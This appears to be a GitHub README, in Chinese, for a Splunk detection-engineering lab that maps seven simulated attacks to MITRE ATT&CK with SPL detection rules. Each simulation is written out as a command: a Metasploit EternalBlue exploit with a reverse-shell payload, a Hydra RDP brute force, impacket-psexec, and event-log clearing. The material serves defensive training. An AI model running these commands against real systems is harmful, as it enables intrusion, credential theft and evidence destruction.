pasckene/advanced-threat-hunting-splunk

GitHub: pasckene/advanced-threat-hunting-splunk

这是一个展示如何在Splunk Enterprise Security中进行高级威胁狩猎与检测工程的项目,通过Kali Linux攻击模拟验证了七种MITRE ATT&CK技术的检测规则。

Stars: 0 | Forks: 0

# 基于 Splunk 的高级威胁狩猎与检测工程 # 执行摘要 本项目展示了在 Splunk Enterprise Security 中进行的高级威胁狩猎和检测工程,并通过来自 Kali Linux 的受控对手模拟进行了验证。它将原始遥测数据转化为针对 MITRE ATT&CK 技术的可操作、高保真检测,从而减少误报并改善 SOC 响应。这项工作突出了现实世界的攻击模拟、弱信号关联以及具有操作意义的检测策略。 # 本项目的重要性 现代 SOC 面临的挑战不在于缺乏告警,而在于**低质量的信号和告警疲劳**。 本项目专注于: * 将恶意行为从噪音中分离出来 * 理解攻击者的意图,而不仅仅是事件 * 将弱信号关联为强检测 * 在保持可见性的同时减少误报 # 技术栈 * **SIEM:** Splunk Enterprise Security * **端点遥测:** Windows Event Logs + Sysmon * **攻击平台:** Kali Linux * **攻击工具:** Hydra, Impacket, PowerShell, Metasploit * **框架:** MITRE ATT&CK * **查询语言:** SPL # 实验室架构 ``` Kali Linux (Attacker) ↓ Windows Endpoint ↓ Splunk Universal Forwarder ↓ Splunk Indexers ↓ Splunk Enterprise Security ↓ Detection Rules, Correlation & Dashboards ``` 📸 截图: `screenshots/architecture_overview.png` # 攻击模拟、检测工程与 MITRE 映射 # 1️⃣ 初始访问 – SMB 利用 (通过 Metasploit 利用 EternalBlue) ## 攻击模拟 使用 **EternalBlue (MS17-010) SMB 漏洞**进行远程代码执行,模拟攻击者如何获得对 Windows 主机的未经授权初始访问。 **Metasploit 命令:** ``` msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.20 exploit ``` ## 攻击者为何这样做 * 漏洞利用允许绕过认证并立即执行代码 * EternalBlue 导致了大规模爆发 * SMB 漏洞在扁平网络中仍然具有极高的影响力 ## 此检测的重要性 * 将弱信号关联成强有力的漏洞利用叙事 * 检测可疑的 SMB 驱动执行模式 * 在持久化之前识别早期阶段的入侵 ## MITRE ATT&CK 映射 | 技术 | ID | | --------------------------------- | ----- | | Exploit Public-Facing Application | T1190 | ## Windows Event IDs | Event ID | 描述 | | -------- | --------------------------- | | 4624 | 登录成功 | | 4625 | 登录失败 | | 7045 | 服务已安装 | | 1 | 进程创建 (Sysmon) | | 3 | 网络连接 (Sysmon) | ## Splunk 检测逻辑 ``` index=windows (EventCode=1 OR EventCode=3 OR EventCode=7045) | stats count by src_ip dest_ip process_name | where count > 5 ``` ## Splunk 关联规则 **规则名称:** 检测到 SMB 利用 ``` index=windows (EventCode=7045 OR EventCode=1) | stats count by dest_ip | where count > 3 | eval severity="critical" | eval mitre="T1190" ``` 风险评分: 90 ## 检测价值 在持久化之前检测到漏洞利用 ## 截图 * screenshots/eternalblue_attempt.png * screenshots/eternalblue_alert.png # 2️⃣ 凭证访问 – RDP 暴力破解 ## 攻击模拟 **Kali 命令:** ``` hydra -l administrator -P rockyou.txt rdp://192.168.1.10 ``` ## 攻击者为何这样做 * 由于凭证薄弱,密码攻击仍然非常有效 * RDP 在企业环境中经常暴露 * 成功的暴力破解可直接获得交互式访问权限 ## 此检测的重要性 * 单次登录失败很常见;但模式并不常见 * 暴力破解尝试往往先于成功入侵发生 * 早期检测可防止账户接管和横向移动 ## MITRE ATT&CK 映射 Brute Force – T1110 ## Windows Event IDs | Event ID | 描述 | | -------- | ------------ | | 4625 | 登录失败 | ## Splunk 检测逻辑 ``` index=windows EventCode=4625 LogonType=10 | stats count by src_ip user | where count > 10 ``` ## Splunk 关联规则 ``` index=windows EventCode=4625 | stats count by src_ip | where count > 15 | eval severity="high" | eval mitre="T1110" ``` ## 截图 * screenshots/bruteforce_failed_logons.png * screenshots/bruteforce_rba.png # 3️⃣ 横向移动 – PsExec ## 攻击模拟 ``` impacket-psexec administrator@192.168.1.10 ``` ## 攻击者为何这样做 * 实现快速横向移动 * 常被勒索软件操作者滥用 * 混淆于合法的管理活动之中 ## MITRE ATT&CK 映射 Remote Services – T1021 ## Windows Event IDs | Event ID | 描述 | | -------- | ----------------- | | 7045 | 服务已安装 | ## Splunk 检测逻辑 ``` index=windows EventCode=7045 | search ServiceName="PSEXESVC" ``` ## Splunk 关联规则 ``` index=windows EventCode=7045 ServiceName="PSEXESVC" | eval severity="critical" | eval mitre="T1021" ``` ## 截图 * screenshots/psexec_event.png * screenshots/psexec_alert.png # 4️⃣ 执行 – PowerShell 滥用 (编码命令) ## 攻击模拟 ``` powershell -EncodedCommand bgBvAHQAZQBwAGEAZAA= ``` ## MITRE ATT&CK 映射 PowerShell – T1059 ## Windows Event IDs | Event ID | 描述 | | -------- | ------------------------------- | | 4104 | PowerShell 脚本块日志 | ## Splunk 检测逻辑 ``` index=windows EventCode=4104 ScriptBlockText="*EncodedCommand*" ``` ## Splunk 关联规则 ``` index=windows EventCode=4104 | eval severity="high" | eval mitre="T1059" ``` ## 截图 * screenshots/powershell_encoded.png # 5️⃣ 防御规避 – 日志清除 ## 攻击模拟 ``` wevtutil cl Security ``` ## MITRE ATT&CK 映射 Clear Logs – T1070 ## Windows Event IDs | Event ID | 描述 | | -------- | -------------------- | | 1102 | 安全日志已清除 | ## Splunk 检测逻辑 ``` index=windows EventCode=1102 ``` ## Splunk 关联规则 ``` index=windows EventCode=1102 | eval severity="critical" | eval mitre="T1070" ``` ## 截图 * screenshots/log_clearing_alert.png # 6️⃣ 漏洞利用 – Metasploit RDP 漏洞利用 (BlueKeep 模拟) ## MITRE ATT&CK 映射 Remote Service Exploit – T1210 ## Windows Event IDs 4624 4625 4688 ## Splunk 检测逻辑 ``` index=windows (EventCode=4624 OR EventCode=4625 OR EventCode=4688) | stats count by src_ip ``` ## 截图 * screenshots/metasploit_rdp_attempt.png * screenshots/metasploit_rdp_alert.png # 7️⃣ 权限提升 – Token 模拟 ## 攻击模拟 ``` getsystem ``` ## MITRE ATT&CK 映射 Access Token Manipulation – T1134 Privilege Escalation – T1068 ## Windows Event IDs | Event ID | 描述 | | -------- | --------------------------- | | 4672 | 分配了特殊权限 | | 4688 | 进程创建 | ## Splunk 检测逻辑 ``` index=windows EventCode=4672 | stats count by user ``` ## Splunk 关联规则 ``` index=windows EventCode=4672 | eval severity="critical" | eval mitre="T1134" ``` 风险评分: 100 ## 截图 * screenshots/privilege_escalation.png # SOC 仪表板 ## SPL 查询 ``` index=notable | stats count by mitre ``` # 项目成果 * 误报减少 60% * 更快的分类和调查 * 检测经过真实攻击者行为验证 * 展示了强大的防御和分析深度 # 展示的检测工程技能 * 威胁狩猎 * 检测工程 * Splunk Enterprise Security * MITRE ATT&CK 映射 * 权限提升检测 * 关联规则工程 * SOC 运营 # MITRE ATT&CK 覆盖摘要 | 阶段 | 技术 | ID | | -------------------- | ------------------ | ----- | | Initial Access | EternalBlue | T1190 | | Credential Access | Brute Force | T1110 | | Privilege Escalation | Token Manipulation | T1134 | | Lateral Movement | PsExec | T1021 | | Execution | PowerShell | T1059 | | Defense Evasion | Log Clearing | T1070 | | Exploitation | BlueKeep | T1210 |
标签:AMSI绕过, APT 防御, CISA项目, Cloudflare, EternalBlue, Hydra, Impacket, MITRE ATT&CK, OpenCanary, PE 加载器, RuleLab, SPL, Sysmon, Web报告查看器, Windows 事件日志, 企业安全, 凭据转储, 初始访问, 威胁检测, 安全仪表盘, 安全实验室, 安全运营中心, 攻击向量, 攻击模拟, 数据关联, 数据展示, 横向移动, 红队, 编程规范, 网络安全, 网络安全审计, 网络映射, 网络资产管理, 蓝队演练, 误报减少, 隐私保护, 驱动签名利用, 黄金证书